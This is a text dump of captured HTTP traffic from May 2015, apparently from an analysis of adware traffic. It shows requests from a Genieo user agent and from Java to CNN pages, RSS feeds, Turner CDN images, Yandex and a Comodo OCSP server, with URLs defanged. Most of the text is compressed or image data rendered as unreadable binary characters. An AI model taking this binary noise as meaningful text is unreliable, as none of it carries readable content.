..(6!..7...t..F..1..'dm..C9.c..$..........Lb}.1!....[.............p\..
...f2.&...........%.H....gY.k.I9/m..o....I. ...........Wk..Og..*.>.
_.q..)G....xG!.l.',[..D....................*s`K...f......B.l........C,
 (n. ...... ......Dg.....=.=ET..rq.*....y....N.[2...f.../|"....|...3..
..........Q.8...>..O!*.?.....Q..x....#"G..?I..7.7.$.G....D.(.......
3.......V...........*........XA...V. .\.\^Kz..?..5.q.1c...&..%.S.....7
.1{v1f....g..|.ju.....1.:.o......x.....-.s.d=4.v.. ..<....8.-0.<<< skipped >>>

GET /2015/05/15/us/boston-bombing-tsarnaev-sentence/index.html HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-4-120

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 62454

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:09 GMT

Via: 1.1 varnish

Age: 67

Connection: keep-alive

X-Served-By: cache-iad2125-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 2, 2

X-Timer: S1431731109.277686,VS0,VE0

Vary: Accept-Encoding
.............v.H.?..>E6..E.Ep.jK....*om...]...$.$,.`a.MW..y..>.0
o2O2.....I..d....6.dfDFDF.".G.y......<cCod.?..Y...{V.l..[.w....F...
g[.......3..D.7t..8k. .7....q{V.o........gtMQ.r......{}..4[.'>y5d Y
...].....,.DK....m. EeL...........*...........V..6.w#.....M..aCG..J.&g
t;..l.j..*.(1G.g..!......o%..Cg%c....I...Z....i.fT{.U.|..N.g.j=..UE...
j.j.60..7k#....xl......J.....>.)............z..^r.{C...G].........]
.....e...L...i...W....,dF;.[RbwE.3..l.f.q......u....>m7.]bc........
.........Jr..4......v.......\....dR.%.2..Z.....n.K..P`.5.<%(..XB..f
..SUZi.j.c....,[email protected]......|[email protected]
...!wYPg.e&...h..f....9.8.n.#)e....V....DI.FL'...s.H.....':.k....F..vL
..D..rP.71<O8.=...1w<....Qh.A.Z..LqB.:\[email protected]".....
.s.1.5.O........{..D5.G]..f...].;[email protected]........|......
F..l.......B..1...b.&D..{.S..n..P8qJ.....[.....D.{[email protected]%..
tlC..^P..%.Gv..........!..|>0..M...3`.]>c....t..).....i.r...F...
.6ZM@.=....X..*<..-.....5.d`.z.P*....*,....i...^ ......."...6/1MKH-
.......-M|2\..D.w3<...U.....%..W#...c.........G.t.Y....{........'.H
;.s..y..:>...........:K.........?..N.....n......1...I.....`.{.W.}.R
..rmS..3H.Ck............]t..).....=H.....s|..."..v.%0......M..L..,M`..
...=c$.<>./Kuw...Bw!.........p...............(.J...HO.._.....f..
.. K.R...=F;...]%[email protected])?..&..Y!O.
.Jx..n..S.>.^...q.>$;%[..b&.p......$......0.4&.......8T...c.....
............j...[.s...mI.y...w.;...m....).Z...f.b.^........:._....<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: ya.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=1613692281431731090

Cookie2: $Version=1


HTTP/1.1 200 Ok

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Expires: Fri, 15 May 2015 23:04:52 GMT

Last-Modified: Fri, 15 May 2015 23:04:52 GMT

Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' hXXps://yastatic.net *.yandex.ru yandex.ru *.yandex.net hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.yandex.net yandex.st yastatic.net *.yastatic.net ws://portal-xiva.yandex.net wss://portal-xiva.yandex.net wss://push.yandex.ru; img-src data: 'self' hXXps://yastatic.net *.yandex.ru yandex.ru *.tns-counter.ru *.gemius.pl hXXps://*.yandex.ru hXXps://yandex.ru hXXps://*.tns-counter.ru hXXps://*.gemius.pl yandex.st *.yandex.net yastatic.net *.yastatic.net; report-uri hXXp://VVV.yandex.ru/log/csp?from=yaru.ru&showid=22901.12100.1431731092.30901&h=n77&yu=1613692281431731090;

P3P: policyref="/w3c/p3p.xml", CP="NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI"

X-Frame-Options: DENY

X-XRDS-Location: hXXp://openid.yandex.ru/server_xrds/

Content-Encoding: gzip
e89.............:]s........P...l.&.....j...e......X.k...].b$.4.C.;./..
[email protected].$..v........=.......O^....1.q.=..F.a.}D.....^...5..
..NB....Y:.....2I'.2"..}.2......8Jx;..H.q...........%&..r.!.2z...8...'
i<...#.. M.I..N.}...,.TD.;...w....6.........{.W;..c.$%....>;..3N
....3....hri0......qD..#..Jd........T h.&Dxq.B.D.0..W_...9..>.w....
[email protected]....._....4...^....aU~. ,...G....4.F......0%].G.?.
............F..._/%..O&Sw..O.].y..p.......W..........#..Q.5'......E..$
z.../q]'.rYHx..XB..*lG).A.I...w..$j.rH.!waP..1..LL}...J.R....v....?!}N
.Y.Jc<,.~H^......2...(JV...?J.(.pe.,..|...d.2.?....}......./..1..._
.....dI ..O. .H.i......F..:W..`.0.F...4.b ../.....#"c....A?...!..Y6...
..].....&B.............~.. n.D..v...........J&...:M?/...!.O...^1..A...
.......C6..<G...l..^...<..*C./..v.#dS.a3_..I.b.a].......W)......
sqN/...../.>#.r..m.....-..-..........O..._~.[|.....|H......p.$Jq...
.X........R....h{{1..:..kf..Y...<u.zC:..1'........O...gG..N.......D
.K...........G3..#`.E.......w.jv..........l:q...<....1.t.....f.&..)
,..Y..HNoh.......d..p.!....B.w..s.8.B.F.|.E.Y..I6S..(..Vg..jImX....z_@
.._..). .ZZ.UK.MY.........!Y..e..VMk{;.*-..V.....$.._..6.Ah ....BY....
..10.........Y.....^.~..C....&..2...h..9.Nw2...=7eC..h4<I.4RFve..c.
../[email protected].>.r..Mmf..YC.....h..!.B..,..i8.c?....Db.nA]c.......
.e.d.a.........~.(=g.m.k...eG.4.$...M.Pg..q....^..;.*[.......;..c'6:..
D.].oS...I..Fl3x..cki.]?.....4p{k.:..}.\.Y.%.L..4."l...8..0$..3_..l..Y
T8..ec......G.....|...2...B.6..a2.V.e.......~..6]..B.FR..X..S.R|{[<<< skipped >>>

GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.comodoca.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:06:07 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Fri, 15 May 2015 08:04:45 GMT

Expires: Tue, 19 May 2015 08:04:45 GMT

ETag: E37876CE28D71F1339E90795DFEC43CC0F394483

Cache-Control: max-age=290917,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 472

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2015051
5080445Z0t0r0J0... .........%.6..Ga....e............,}...h|%....?.....
......p....".f........20150515080445Z....20150519080445Z0...*.H.......
.......{..r .>.q..N...*.:.V.A...qE..1".... .....q.a..%X.5..........
.^.y>o<...h5...]bX.b..g .g....."-.:.d....9<..............]...
.......j....8...W|t..6 .<.!n.qY*.......].K(.........B..G.p..W.1O.b.
=,.. .1..3ma`..8Z.z...z........).............Ud.h...5.c.l_....PL.l...

GET /rss/cnn_world.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

ETag: /D0n9Ohe4HLc4ADjJFJ6/kvtzWU

Last-Modified: Fri, 15 May 2015 23:04:34 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

Date: Fri, 15 May 2015 23:05:02 GMT

Expires: Fri, 15 May 2015 23:05:02 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
48DE.............}[s.....T......L.a...9..]..w;..'yIA$$.".. %.....MJ6..
..&L.U.J%.,.{...B........f4....z.oj......p..w.7.x............d.S.Q..d.
...K.C.. .w(..#.z'......b:......n.....a.S...w....4.#D.x^.D............
....aB.d...F......{9.r.AI.x...q....wn.[.wL.;J...E.!....C7y<.z~.....
..,..;.3.#aH}.2a.O..wq...Fw<........}.N..46.....]~:..b.K.6.$...0...
..|.......S..D:.d..>..P......8`a.P...@$t...<.......[.O.*........
..hN..Q.!.....aa [email protected]..|...t....'.....L..i.o.....a.x....K........C{d
.St.^^.DB.....tvvv%-<...#JG......l.._='.|...-.6{.`.......Z$..uMN~.]
..,.y.k..........Iv.e....6...&p3m.|...M.b.n......#....M......V..|.....
._[./[email protected]..../.....S=7.O..i.....w(..|:P..n.. Q.3'..>..[....
..y._.W....._..h...4f.z...5q.KG..$.J.....t.)...'...-x.=......(&LP..>
;. .."......Q.|xn....c..!.%...........$e.*. *......wc....w.7|..$..o.\.
...d.I...&.7._[0.........3.........17.#...~.d...#B..i.x.E..O...!..A..8
S.es..:.2.9...#.MNL>........0u..i.....2.......'.....r..c...v#.Y~.x.
<.H.....~..\6C.O...,./y.b...L..........^.........3e...{.ur........s
....;..0.|. .;Oc.y..|...q.U...x...jO.....k._!.H...........$..ZG....p..
v....HX%#.#.q.?.?...7...*..:......p~.c....U.H%..#bK>B....G.U|.J....
...P&..../_y............6..(.Lm......0..d.....D..',..."rI.%..4..~.....
[email protected])#i.n.G...'....2..Mi..w..Y)......N^......jrV./......kk%$
.)(......4.R..P)..P\NHB...h.m~..0..<..%...d......fc.\S..L|;.pq|....
i.!/....d...../.OL:v%5j............'.I.#..o.fz.......I..I.........vO..
!Q*O..i[..|R*O4.........<Q)O^...I"x.....X.iX.....8i..8._N&..._.<<< skipped >>>

GET /rss/cnn_us.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

ETag: CJTOwA6ouEhkNd2StVVJhPPT03g

Last-Modified: Fri, 15 May 2015 23:03:55 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

Date: Fri, 15 May 2015 23:05:03 GMT

Expires: Fri, 15 May 2015 23:05:03 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
346A.............}.r....{G.?T f.3.*.7R.z.}B.-[.%..X._.E.HB.P0..E=t.G..
..Lf..ao.. `.p.>gS.T.*.X...2...}..;.KO..n.;....#\/...u}uDG[..._...|
.....r.yB.e...J.}.{/.-.p.c.nI'.<."..O..../w7..n,.1I}........x..%...
$.wq..'.w...,x....&<Lvp.0.o$`'.v>\>..,vf;K6.B...;w...N8w.i...
h1d...s..........j..g...p....C....K|....34G(.....c7{.^..p.Wnk.X<...
..B.........I.W....].....a..(..........F4.4.q.xa.p...$,t..ND.0.....-.g
...M...D....d....o.E..8a^...m...K<'. .1.4EO....)...xH./....83"Z..t.
..r....> /......<..B.s..|......,.?.cD...x..Q.m...)[fc.C.....y...
.....KH..t..=Q......./'...'....w.u....0.;|...x...b*...|.........#[email protected]
f.....n....q5....n..9_..........s....g..m8..S...M.....[$.>...?..o.,
.|.Q>...?`..r.._8<..g.......l#v....[?.....t..3p!.t........#.(..-
.{...wi.$p3sy.Jr(....X.c..W.31...\I.......i..w).9|....?.&..|.W./.Vv.i.
.T.....6..O.|l*....^....E3?.2~.)...../s7.l=.a.........&v...\...$$`....
r.x1^.^..bU.D.2...u.c....L...}..Br'..V.E~=.x.....O.8.|..1\.2 ..|....?]
..8>........b.....?.._.e.O.h2)...................c.8../G..jd....D..
..h[../._Yp.,...G."ei......1.G.-.{............#u...7...w~..\7..U..-...
..W'{...l...G.....l..h.........-T....v.&Q.....V.~.,......Q....M....]4.
7*}B.h{.S>J...,..!..G....}P. 6..x......].9.D.oh.6...=M.......x.\.Z.
...;.m4E.{.$..e~.....-%.Vt........G...(b..D.6`._Y.cw%.~..o..p.....%...
...V..8KH0IX<MQ.I..,[email protected]_.o.{.|.V....y.....d..C...7
%...u.....'.<.p.g...d&.. ...Jr.....0@kx..... '........'.^..l.......
.6.. .l.....K@m.|..8QO......;....I.........&...r\.;..%u..".../..S.<<< skipped >>>

GET /rss/cnn_us.rss HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 23:03:55 UTC

If-None-Match: CJTOwA6ouEhkNd2StVVJhPPT03g

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 304 Not Modified

Date: Fri, 15 May 2015 23:05:03 GMT

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

GET /cnnnext/dam/assets/150515112659-warm-blood-fish-1-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 34213

Cache-Control: max-age=2965

Expires: Fri, 15 May 2015 23:54:25 GMT

Date: Fri, 15 May 2015 23:05:00 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.N.........................!.1A.."Qaq.....2..#B...Rb..$3r....45CST...&
6Dcdst...................................7.......................!.1.A
Q."aq..2.......3#B...Rb..............?.=.|?A4`.Zh.;..p...%...,........
.T......s..s..{>..........?..B.?.H .....Z.<V6 .F..A.b...........
r.....*...Z. ..J...t.w....&..t&.S\m}v..p.g9O.A4.>_K..3.t.HRw..!..$.
,#.!z.....D.^.Ek.z..^.D.?=L.?R1..?<......jw.%.......f-e.........H..
.Xo A.........^..8.Mj.. ..pT.pA..=..]8vr.N..N.{I.../i...K........#.b.z
eK.v.,.....xbz......Z.w..Au[..lH..e..G..A..'[email protected]_.o..
y.V-.B~x.j..(6yC ..?.N%.X......l>...S..%...r......*..|T.ts..<...
u..n{...i#.....3...B...-.o...u...m.sI.7.xo....I.....6..r.p..........&.
.g...q..]@....r(:.ONX.h".P..b.l..P_Q^V.p>.!.T.v....cL$.r'i...p....Y
.GU..I;.....F......}F...i.^.....U... .....{...y/.C..L.......?<8..i.
.B.2.W........B)..*...N.-.j2..Zd..d..........'........R...zQr* 7P.....
z...ru..^B.X.1.....`.H..AR...b.M.j2pz.....xY....../..O(.. ... L....<
;.Lugh..JE..2...rnP.H.{t.b.......x.<..K....;...<ssSIN{......)K..
h.gt;...r.eY.E=jKO,.`..V:......v.....W.tQ.....o.$.W.I.)#k.Dc.O.rM....@
.. .b.v.-.xd5.....a].onN[../1-...P.~.[..YC..Y......n.W.........:......
..../..pT..#<sw.^.....f...l...7W.....->......1...T.P.Yl@\.?g.[..
1IT....0.\....R.f.. ..@"......{...o.KKC...1k/s0..c.P.....N .....:.<<< skipped >>>

GET /cnnnext/dam/assets/150511150644-gerrard-liverpool-chelsea-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 20302

Cache-Control: max-age=2758

Expires: Fri, 15 May 2015 23:50:59 GMT

Date: Fri, 15 May 2015 23:05:01 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.B.........................!..1A..Q.."aq.2BR..#...b.$r.....34CS.......
.............................<........................!.1AQ.."a.q.2
B......#br..$345R................?......;....,..TJ.. S...Q.T.z....*...
....*[[#z...2.a....KJa...s~...a...Q....p...........oO(.... ..7.G...J..
..h].,.....#.3....KB..e..S....?.V.e.#.2.....I.........(....\..8......%
i..]..O......O..(83u..x.t.........X..s3....G.&.T.{.w[V.HQi..=..\.....d
....x..X.?./.........<.........<.......O....pR....M,..Z.).(..E0.
5......V.6..e.<.....B...d'...3]......g.EWWiQ.s...4w#.. ....H...^.b.
_CS..".?.R....R...<...Yxm..../.......l....52........G....T.....]..*
?R...G.V..9....Z.tv...K.....[.W...S.`.....N:....wr.; ....{..]...?R?.j.
R...,....L....T....T~.h.....je....~e..*1.Z.G.....'^.=......T(Yh..YR...
..3..^I.<!./%D.#..@.. gg.7.[.<Dp....g..[....5<...5%.........)
ftQ=...>.$1..cc.i..Nw......q~..-...lP.WR..i[Kr......S.F.Cg........@
nyGXx/.}.....>..h..5-.....MC`./|.e.......g.._S..s...D~\.........n5.
..../e.:f.u...YG.a.o.9..... [email protected]@.'d..r.P...
[email protected]....<.....I.4.Z.QAG9....y.....Oa...i=.w..&g
t;E...#.H...>e.....m~....hd.V..U...O. .nc....ii.(M.N.M._.uC.......~
J4V....W.h...o,.......g...u.x.iJ.)f{.JkM.M@.*:f....0L"......r....Ts0..
c...t,3.........-3...."..-..X....n..^....1.X.......|...~F...n.n1..<<< skipped >>>

GET /cnnnext/dam/assets/150514135548-04-france-stolen-monkeys-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 29255

Cache-Control: max-age=7017

Expires: Sat, 16 May 2015 01:01:59 GMT

Date: Fri, 15 May 2015 23:05:02 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.A..........................!1A.."Qaq.2....#B....$R..3br..C.S.s.......
...........................3........................!1A.."2Q..q.Ba..#3
....R..............?..$_..p.P9.........s[.yj...p(.,...Y]F...m.H._:....
.f.#....OH..[)..D......-.........EB.B..i......&....#.`..j...\ .?......
..#q.$s.qLV...v...."[email protected]#...k.b."...'... &.W..u%9.JG.
N..P. ......k..Dy....i.B.S...._.";G.?.?...H.....n.c.)..AY..\..lnR..Q.?
..;..!...W?.P.....w.......J.#.....M6.\..>...e2..s.#....s?.....>.
.R.;.....aw&....p.[.lp6.@'........h...0..mJ^..2....|`...M...{b...R.u..
.......o.C.v.r5.F.."T..7.!.HGBG......S.3W.N}$1I..m...bL...........'.".
......n@_...\H...l||W4.......R......:.5.z{...-.I/..........U.OY...ia.&
lt;iA..x.N.i..G.....X.D.c.JPv4.c.................6..B..9H .R..N.....n.
2C.l..s.........(.......X ..F".NG.b....?)....{;.....S.....(z ...-'.V..
D2.../6.x.I....8.M.m....`..&...sW...Y._..._.|...1).y......A...b.wO...e
..#=..oy..z..Id.I `f.F....a.o l..t...Y..:.....<..0.\.{..D/!$.Z_.N..
.R..M...Ti.O!...&.../.9.....<.......d.nL..T......YR.J#........-X...
8..V.T8`..B.PT....#..x.....s..T.G...V.<...U .J...O."K.i....j Q>J
Q.......X.........m.-....=.Et....-....;=\g...4B....1.N($..8?........).
..O..>X..!.....2W.)%...*..pn..CJ.. ...5d.l..9....RH.....d.....K.29A
.Q..^DZ...HLFS.u..r.G.....DP.^..r(u.P...a%.!...:g.0..[#.RS.V..*Y..<<< skipped >>>

GET /cnnnext/dam/assets/150515121240-electronic-skin-tease-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 35814

Cache-Control: max-age=4880

Expires: Sat, 16 May 2015 00:26:23 GMT

Date: Fri, 15 May 2015 23:05:03 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..B.........................!1.A."Qa.q..2.....#B.....$3Rb.r......%C...
............................./........................!1A.."Q2aq.3...B
.................?..w...1..Cp/......y.`...N..3jl.*..j.E54M,.......c.&g
t; ....}I....OE.iY....d...e...r.....d.."..r..t..|...W.,...7.....n.....
.7.~ ...S.....R.I.......'..:.M...7..c.k.).r../O.a.(..Rxs.>......=..
n{..ht\.....|6Y/....)R:M......[o1.....X2.s....c...B..v.....KH...UE....
..1....i.[U.skl...*..H.............\..'b.../|.....[O.^[.o..1.B....1..2
 .....?....]3i%HK.u.o....g}[.d.....*)..k.......k....f..r8.hi)..e.3....
.e'H.ymf<.`olhX%.R1=D"..vb.Xr?..........|.. N.f..i.<Ee w7 ......
2.......uZ,.#:9_6.XR..m..w.#0..9..q>[$^).#....H...U...A......&N.O..
.L..g.h..;I.2.77.....&..f..yv.YN..~x.<....&..I.`B.u....nlKD........
9.2e..\.i.1dB.0e..U...}.nx\..]....\_I..c.....f...........5J.k..M..w...
..c.#..]K....le......[......7...}.r....H'.,..h.T.d7..J.N.1`..-.../....
.^f.@.]@.F.x.sbA..s......u.K..S..tx......X\.......6.n}...K|....&...i.r
.....#k......mGQa...k~....u.)..~.~....r.=v........@J`...]t....m.....|*
.t,.[.G>........b".^..[ljP.b.........]...z5....n...8.H..........O..
*.7R..........J.U....k.....N.6.(..km .T...V.2...........G....o..rU..H.
.;.}..`\.b.@.......}...<.n....\.. ...2)(...]...q.....N...0.....,_.1
.$l.M.#......p..UO0s.\m%9mI"..,y$w..........O..2...3..d6.S...{....<<< skipped >>>

GET /cnnnext/dam/assets/150507163625-screen-free-week-lisas-desk-orig-mg-00002822-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 53887

Cache-Control: max-age=1264

Expires: Fri, 15 May 2015 23:26:08 GMT

Date: Fri, 15 May 2015 23:05:04 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..I..........................!.1.."AQ.a2q..#B....Rb..$3C.Sr...%4s...c.
&D...................................:........................!1.A.Qa.
"q...2......B.#$3.4R.Cb.............?.;.Io.(._mCI...}D...~...2.}..%P[H
$%\[email protected]. {c. ....E....Z...z......QmeA9....$.z ..Ii`..?.K...d
s\{#...w..[.m...V}..O....S.. ~${ .5.!a...............,Z5.Nz.[...{...?.
.)#..{.uR......*.Y...lDmR..PRF.H%[\.p?...r.<.l.H.:.>-...S}.F.<
;........P<2...~...E@_t...A...|.~.j./.6......a[..._..'...t..d....&l
t;[email protected]=>....4.jc$.#..v<.V......A..e.A.......a...Y.R9$
..$.........eNMHDfL... .I!.....b..Fx....&u..(........e..u...$!....."..
..Bx........<.e...W:uRO.0CKQ,Lk.S.............v....h..T..er%..B..{.
.K.D...5.....R.^.Z.6#s..M0.....e.?.#9.. {.49..f.....(..'.._$....5...m&
.(.......j..>.|oU:qR.n^..]Ö..d.....r.....9......m..:..2...E=... r
V..0}.......=N4..O.....:a...U....B..............m...........?.......ic
..HW...-...IlnJ.|....][(...%..c..I.........m.X..M^.....l..Q..X......ds
._C.!.J. ...Ia[.. <....{.K)...{".,.....mw*....MM..V....q.i..J.0...1
.F.V...V.e..m#.'.L(...:R[Fv.,a..95..BXu.......#~t.`[email protected]>x......(
..M.K.l...T{'1Rs..Qa2XP (m.$pu[.Z....oO...D(uG.a....[PH..F?M...k..)...
E~.._....s.7N.\tj..-..|u.KP. ....m..>..>..h/......R.t[...\p.%." 
T..t.-...... ...I .I.....B...N......OSc..Ix.}.l...YVR.p20N9.......<<< skipped >>>

GET /cnnnext/dam/assets/150507172545-06-week-in-photos-0508-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 44299

Cache-Control: max-age=3684

Expires: Sat, 16 May 2015 00:06:29 GMT

Date: Fri, 15 May 2015 23:05:05 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.J..........................!..1A."Qa.2q..#..B...Rb...$3Cr....%DScs...
&4d................................2.......................!1.A."Q.2aq
........#3...B............?.......H....$............!...0.`...2.M..Hy.
.}....=.\.'TE........h[......J.1&.S.(/...q.b.....pnp$ .g.."...........
....<.\Y.vHk(.........^N.q.8..l|.Z.............\B.#.....G..|_.J....
a.....im.......'......34=..&.]..J|..KM.==..M......J.6P.d...ok..8..3...
..y./&..."..uad&..II#{z.cKg|.;.4..i.....H..ks.K.u...#.... R.Y.#C.S.2c6
..........h*6.....q.z.b..9.........9ux.Z?...J.S.y..........,........lg
%eJ.h.....AS.....i....$.U`B......h!.^p.D.lt..A.clp/.G..2...M.S*Yn...."
D.........T..I..\....eL.....kRi..."...{n..)).....spE..s.9V..F...aHn<
;.2.e..P......H. :....I.o.z..J..s....G>s....e...:As...... R.$.....x
..2,l.:......L....R|:..R.../.o....%.I.&5..b.L9.....g*.*Z.9 d.....$n..7
..`i-.^..]Z.uj*R.n..nI=.-2.....u..hR..E:..e$.....q.Zf._...I..D'.......
J.5....:.E.6#|t.....M..T}.!'J.......].....*...._.0YJ......P./k.s......
..>..H..)....&.....@}..p..2[;j..X* #2.LK..........E....1.R/.E.#..f7
...........H..c..Jy...!(B.t.@.*....j..V..D=.%.*....I...)$m.....>...
[.....n$Z.z.|.).yo..Y.U|..i.J.O...%...=..0.e..[.3.%@(..Q...l....u....3
....cJt..#...:.G.=1}T/.....Z.NzC.LvV.BIV.{ak..^ajr...LC.wm...q0..m..2.
B....p....].....$.)..(5. V..c=N..7.".*.f2..k.P,.HF.......[.^<.k<<< skipped >>>

GET /cnnnext/dam/assets/150507223900-thailand-fishing-boats-2-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 38217

Cache-Control: max-age=5944

Expires: Sat, 16 May 2015 00:44:10 GMT

Date: Fri, 15 May 2015 23:05:06 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
..L..........................!1.."AQa..q.2...#B....R..3br.$C.....%S..&
4..cs...................................<........................!1
.."AQaq.....2..#3B....$CR4Tr................?....{#.k.-5 V..)]C...W4..
...{.][email protected]|.V..R.}.f.......[ r...f.nO.....~..V..5..$......F..Pi..
.F.q....klul....N..s_8....:.:..%^uw..B.bQ(.........\e7m.A.w...X.>.D
v.af.8*3 ...'.P..r.o........!D...h......P2..>.;.........-./.`.>.
........c...>t..i....,...r.r. ..:.......,.-.d(.....8lOu.=......I`..
 $..K...pEzh.A. ...A..8_...tr#...GQCFw...J..J....w.0..yl\.$..z..q..'.G
.....A.}h.YI......uXZ1.d5D.a..;....5..h.... .C......@....|..-.,i...<
;...k...&.lK8.I..!.....T....|....1....p...........2*j..l`...4....7....
......T9......o..(.(8Jr:.6...T...t..k...c..............m...^.4...@....
..d...8..X.....j..]..:[email protected]....&D....dV5.I
.......%.G....Ls=.D*..v.....qF.Y]....'h..T"....0^Z.N...}...3.PS..M.S{T
S.s.t.v.{.__.[5T.lI~.a...kq*RW..5.]...x.}sQ.c<.y..[...~....h..L..9I
N.)j.Z..q2?.[.8..........:.v..z.z.A.FV................k._U.......VG...
.%......".r..B.;TIV..kJ..A.&.X sn....($......SE.iRB.sO...3.. fK......{
q.........j@...}jI.. [email protected]..&.^..N....|..dv .....(,....m......*N
.....V.g-...R.y..jE.9.&Cq#.x.Y.U.?S...k.,L......'.#U....-J.........$}.
Cf..8.M.>Shm=.._fmMK.q.$..8.l..cT...:...Q: ..AX%.>.(.....wHc<<< skipped >>>

GET /cnnnext/dam/assets/150430103324-nepal-baby-large-10-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 32319

Cache-Control: max-age=3259

Expires: Fri, 15 May 2015 23:59:26 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.C..........................!.1."AQ.aq...#2B..3Rb....$Cr..S.4...Dcd...
.....................................................!.1.."A.2BQa..q#3
...C.............?....... ...*.G'..{K.C.(.j..T..W$..>..L......|vZp6
